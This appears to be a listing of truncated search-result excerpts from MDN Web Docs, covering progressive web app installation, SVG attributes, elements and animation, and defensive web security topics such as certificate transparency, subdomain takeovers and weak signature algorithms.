ex.js file. we then cache all the site's assets using the cache api, and serve them from the cache instead of the network using the code in the sw.js file. a2hs on desktop while originally intended to improve user experience on mobile oses, there is movement to make pwas installable on desktop platforms too. note: at the time of writing, the functionality described below was only supported in
newer versions of chrome — by default on windows, and behind the #enable-desktop-pwas flag on macos. adding an install button to make our pwa installable on desktop, we first added a button to our document to allow users to do the installation — this isn't made available automatically on desktop apps, and the installation needs to be triggered by a user gesture: <button class="add-button">add...
Web technology reference
the open web is based on a number of technologies which, together, can be used to create everything from simple sites to powerful web applications. below you'll find links to a selection of key documentation for each. if you're
new to web development, consider starting with our learning area, which is filled with step-by-step tutorials that will guide you from total webdev
newbie to at least semi-pro! html — structuring the web hypertext markup language is used to define and describe semantically the content (markup) of a web page in a well-structured format. html provides a means to create structured documents made up of blocks called html elements that are delineated by tags, written using angle brackets. some introduce content into the page directly, others provide informat...
SVG Presentation Attributes - SVG: Scalable Vector Graphics
ments. value: see css display; animatable: yes dominant-baseline it defines the baseline used to align the box’s text and inline-level contents. value: auto|text-bottom|alphabetic|ideographic|middle|central| mathematical|hanging|text-top; animatable: yes enable-background deprecated since svg 2 it tells the browser how to manage the accumulation of the background image. value: accumulate|
new|inherit; animatable: no fill it defines the color of the inside of the graphical element it applies to. value: <paint>; animatable: yes fill-opacity it specifies the opacity of the color or the content the current object is filled with. value: <number>|<percentage>; animatable: yes fill-rule it indicates how to determine what side of a path is inside a shape. value: nonzero|evenodd|inher...
font-family - SVG: Scalable Vector Graphics
serif | sans-serif | cursive | fantasy | monospace default value depends on user agent animatable yes for a description of the values, please refer to the css font-family property. specifications specification status comment css fonts module level 4the definition of 'generic font families' in that specification. working draft adds
new generic font families, specifically: system-ui, emoji, math, and fangsong. css fonts module level 3the definition of 'font-family' in that specification. candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-family' in that specification. recommendation initial definition browser compatibility...
writing-mode - SVG: Scalable Vector Graphics
writing modes module level 3the definition of 'writing-mode' in that specification. proposed recommendation definition in css writing modes 3 scalable vector graphics (svg) 2the definition of 'writing-mode' in that specification. candidate recommendation mainly refers to the definition in css writing modes 3 and defines a mapping between the deprecated svg 1.1 values and the
new values. scalable vector graphics (svg) 1.1 (second edition)the definition of 'writing-mode' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. des...
xlink:show - SVG: Scalable Vector Graphics
the xlink:show attribute indicates how a linked resource should be opened and is meant for xlink-aware processors. in case of a conflict, the target attribute has priority, since it can express a wider range of values. only one element is using this attribute: <a> usage notes value
new | replace | embed | other | none default value replace animatable no
new this value specifies that the referenced resource is opened in a
new window or tab. this is similar to the effect achieved by an html <a> element with target set to _blank. replace this value specifies that the referenced resource is opened in the same window or tab. this is similar to the effect achieved by an html <a> element with target set to _self. embed this value specifies that ...
xlink:title - SVG: Scalable Vector Graphics
cribe the meaning of a link or resource in a human-readable fashion. the use of this information is highly dependent on the type of processing being done. it may be used, for example, to make titles available to applications used by visually impaired users, or to create a table of links, or to present help text that appears when a user lets a mouse pointer hover over a starting resource. note:
new content should use a <title> child element rather than a xlink:title attribute. these elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use> usage...
<svg> - SVG: Scalable Vector Graphics
it is used as the outermost element of svg documents, but it can also be used to embed an svg fragment inside an svg or html document. note: the xmlns attribute is only required on the outermost svg element of svg documents. it is unnecessary for inner svg elements or inside html documents. ...
SVG element reference - SVG: Scalable Vector Graphics
ath>, <text>, <tref>, <tspan> text content child elements <altglyph>, <textpath>, <tref>, <tspan> uncategorized elements <clippath>, <color-profile>, <cursor>, <filter>, <foreignobject>, <hatchpath>, <meshpatch>, <meshrow>, <script>, <style>, <view> obsolete and deprecated elements warning: these are old svg elements which are deprecated and should not be used. you should never use them in
new projects, and should replace them in old projects as soon as you can. they are listed here for informational purposes only. a <altglyph>, <altglyphdef>, <altglyphitem>, <animatecolor> c <cursor> f <font>, <font-face>, <font-face-format>, <font-face-name>, <font-face-src>, <font-face-uri> g <glyph>, <glyphref> h <hkern> m <missing-glyph> t <tref> v <vkern> ...
Namespaces crash course - SVG: Scalable Vector Graphics
ibutens(xlink_ns, 'xlink:href', 'flower.png'); conclusion make sure you always declare the namespaces you use in your xml files. if you don't, user agents such as firefox won't recognize your content and will simply show the xml markup or inform the user that there's an error in the xml. it's a good idea to use a template that includes all the commonly used namespace declarations when creating
new svg files. if you don't already have one, make one up starting with the following code: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> </svg> even if you don't use all those namespaces in a particular document, there's no harm in including the namespace declarations. it may save you from some annoying errors if you end up adding content from one of the...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
mplemented svgelement.focus(), svgelement.blur() not implemented (bug 778654) svgelement.tabindex implemented (bug 778654) document.activeelement implementation status unknown globaleventhandlers on svgelement implementation status unknown options dictionary attribute for svggraphicselement.getbbox() implemented behind the preference svg.
new-getbbox.enabled (bug 999964, bug 1019326) allow leading and trailing whitespace in <length>, <angle>, <number> and <integer> implementation status unknown form feed (u+000c) in whitespace implementation status unknown svgelement.xmlbase, svgelement.xmllang and svgelement.xmlspace removed implementation status unknown svgviewspec removed implementati...
SVG animation with SMIL - SVG: Scalable Vector Graphics
l</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"> <animate attributename="cx" from="0" to="500" dur="5s" repeatcount="indefinite" /> </circle> </svg> animating the transform attributes the <animatetransform> element let you animate transform attributes. this
new element is necessary because we are not animating a simple attribute like x which is just a number. rotation attributes look like this: rotation(theta, x, y), where theta is the angle in degrees, and x and y are absolute positions. in the example below, we animate the center of the rotation and the angle. <svg width="300" height="100"> <title>svg smil animate with transform</title> <rect x="...
Fills and Strokes - SVG: Scalable Vector Graphics
linecap="square" fill="none" stroke-linejoin="bevel"/> </svg> each of these polylines has two segments. the joint where the two meet is controlled by the stroke-linejoin attribute. there are three possible values for this attribute. miter extends the line slightly beyond its normal width to create a square corner where only one angle is used. round creates a rounded line segment. bevel creates a
new angle to aid in the transition between the two segments. finally, you can also use dashed line types on a stroke by specifying the stroke-dasharray attribute. <?xml version="1.0" standalone="no"?> <svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"> <path d="m 10 75 q 50 10 100 75 t 190 75" stroke="black" stroke-linecap="round" stroke-dasharray="5,10,5" fill="...
Texts - SVG: Scalable Vector Graphics
this overwrites the default current text position. the attribute may also contain a list of numbers, that are one by one applied to the single characters of the tspan element. dx start drawing the text with a horizontal offset dx from the default current position. here, too, you may provide a list of values that are applied to consecutive character...
Tools for SVG - SVG: Scalable Vector Graphics
the image produced is closer to what the svg will look like in the browser. raphael js url: raphaeljs.com this is a javascript library, that acts as an abstraction layer between browser implementations. notably older versions of internet explorer are supported by generating vml, a vector markup language, that is one of two ancestors of svg and exists since ie 5.5. snap.svg url: snapsvg.io a
newer javascript abstraction layer from the same author of raphael js. snap.svg is designed for modern browsers and therefore supports the
newest svg features like masking, clipping, patterns, full gradients, groups. it does not support the older browsers that raphael does. google docs url: www.google.com/google-d-s/drawings/ drawings from google docs can be exported as svg. science the well-...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
that it doesn't recognize, but which the user knows it should. actions that trigger this bug ... possible solutions how you solve this problem depends on whether it's your operating system or your mozilla profile (mimetypes.rdf) that are corrupt. the latter is more common, so we'll start with that. however, it seems that the former may also cause the latter. one way to check is to create a
new profile and restart mozilla using that profile. if svg works with the
new profile, then simply delete the
new profile and go about cleaning your old profile using the steps in the section below. if the
new profile doesn't work, clean your os file associations, then your mimetypes.rdf. create and remove a bogus file association this solution should work for mimetypes.rdf corruption, and require...
SVG: Scalable Vector Graphics
ls about each svg element. svg attribute reference details about each svg attribute. svg dom interface reference details about the svg dom api, for interaction with javascript. applying svg effects to html content svg works together with html, css and javascript. use svg to enhance a regular html page or web application. view all... community view mozilla forums... mailing list
newsgroup rss feed tools svg test suite markup validator more tools... other resources: xml, css, dom, canvas examples google maps (route overlay) & docs (spreadsheet charting) svg bubble menus svg authoring guidelines an overview of the mozilla svg project frequently asked questions regarding svg and mozilla svg as an image svg animation with smil svg art gallery animation...
Certificate Transparency - Web security
in this way, certificate authorities (cas) can be subject to much greater public scrutiny and oversight. potentially malicious certificates, such as those that violate the ca/b forum baseline requirements, can be detected and revoked much more quickly. ...
Insecure passwords - Web security
sly demonstrated by firesheep. to fix this issue, install and configure an ssl/tls certificate onto your server. there are various vendors offering free and paid certificates. if you are using a cloud platform, it may have its own ways of enabling https. note on password reuse sometimes websites require username and passwords but don't actually store data that is very sensitive. for example, a
news site may save which
news articles a user wants to go back to and read, but not save any other data about a user. web developers of the
news site may be less motivated to secure their site and their user credentials. unfortunately, password reuse is a big problem. users use the same password across multiple sites (
news websites, social networks, email providers, banks). hence, even if access to ...
Secure contexts - Web security
d to be in a secure context when it is the active document of a top-level browsing context (basically, a containing window or tab) that is a secure context. for example, even for a document delivered over tls within an <iframe>, its context is not considered secure if it has an ancestor that was not also delivered over tls. however, it’s important to note that if a non-secure context causes a
new window to be created (with or without specifying noopener), then the fact that the opener was insecure has no effect on whether the
new window is considered secure. that’s because the determination of whether or not a particular document is in a secure context is based only on considering it within the top-level browsing context with which it is associated — and not whether a non-secure conte...
Subdomain takeovers - Web security
y that the entity who sets up the virtual host actually is the owner of the subdomain name, an attacker who is quicker than you could create a virtual host with the same hosting provider, using your subdomain name. in such a case, as soon as you set up dns in step 2, the attacker can host content on your subdomain. during deprovisioning you take down your virtual host, but an attacker sets up a
new virtual host using the same name and hosting provider. you (or your company) decide that you no longer want to maintain a blog, so you remove the virtual host from the hosting provider. however, if you don’t remove the dns entry that points to the hosting provider, an attacker can now create their own virtual host with that provider, claim your subdomain, and host their own content under that ...
Weak signature algorithms - Web security
the strength of the hash algorithm used in signing a digital certificate is a critical element of the security of the certificate. this article provides some information about signature algorithms known to be weak, so you can avoid them when appropriate. weaknesses in hash algorithms can lead to situations in which attackers can create or obtain fraudulent certificates. as
new attacks are found and improvements in available technology make attacks more feasible, the use of older algorithms is discouraged and support for them is eventually removed. sha-1 sha-1 certificates will no longer be treated as secure by major browser manufacturers beginning in 2017. certificates employing more secure hash algorithms (such as sha-256 or sha-512) should be used instead. md5 support for md5 b...
Web security
nection allows clients to be sure that they are connected with the intended server, and to exchange sensitive data. http strict-transport-security the strict-transport-security: http header lets a website specify that it may only be accessed using https. certificate transparency certificate transparency is an open framework designed to protect against and monitor for certificate misissuances.
newly issued certificates are 'logged' to publicly run, often independent ct logs which maintain an append-only, cryptographically assured record of issued tls certificates. mixed content an https page that includes content fetched using cleartext http is called a mixed content page. pages like this are only partially encrypted, leaving the unencrypted content accessible to sniffers and man-in-the-...